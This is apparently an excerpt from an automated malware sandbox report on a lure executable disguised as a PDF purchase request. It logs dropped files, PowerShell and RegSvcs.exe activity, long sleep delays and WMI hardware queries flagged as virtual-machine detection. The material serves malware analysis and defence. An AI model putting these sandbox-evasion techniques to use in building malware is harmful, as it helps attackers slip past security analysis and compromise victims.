Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vmPeKTe.exe PID: 8140, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 3130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 3340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 5340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 5920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 6920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 6A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: 7A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: A7A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: B7A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: BC30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: CC30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 25D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 4B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 5B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 5C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 6C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: 94E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: A4E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: B4E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: B970000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3909	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4948	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1598	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1582	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2264
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7591

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe TID: 7572	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe TID: 752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
